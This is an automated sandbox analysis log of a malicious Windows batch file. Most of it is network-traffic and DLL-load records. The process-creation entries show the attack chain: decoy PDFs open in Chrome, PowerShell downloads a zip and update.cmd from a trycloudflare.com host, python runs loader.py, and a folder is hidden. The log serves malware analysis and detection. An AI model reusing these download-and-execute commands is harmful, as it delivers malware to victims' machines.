Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803

Source: unknown	HTTPS traffic detected: 13.107.246.42:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.9:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.9:49984 version: TLS 1.2

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: classification engine

Classification label: mal64.evad.winCMD@50/19@37/4

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7304:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v4remje3.sw3.ps1

Jump to behavior

Source: C:\Windows\System32\timeout.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ZtefPP1HI7.cmd

ReversingLabs: Detection: 44%

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\ZtefPP1HI7.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://spectrum-exactly-knitting-rural.trycloudflare.com/policy.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2584 --field-trial-handle=2392,i,6131583627039465295,1302718975251909702,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\jnk8ai.zip' -DesusertionPath 'C:\Users\user\Downloads' -Force }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe hey.py
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe loader.py
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://spectrum-exactly-knitting-rural.trycloudflare.com/a.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmd' -OutFile 'C:\Users\user\Downloads\update.cmd' }"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1980,i,15215304549136021077,16069531539284027564,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Python"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://spectrum-exactly-knitting-rural.trycloudflare.com/policy.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\jnk8ai.zip' -DesusertionPath 'C:\Users\user\Downloads' -Force }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe hey.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe loader.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://spectrum-exactly-knitting-rural.trycloudflare.com/a.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmd' -OutFile 'C:\Users\user\Downloads\update.cmd' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Python"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2584 --field-trial-handle=2392,i,6131583627039465295,1302718975251909702,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1980,i,15215304549136021077,16069531539284027564,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apisethost.appexecutionalias.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: daxexec.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: container.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: capauthz.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
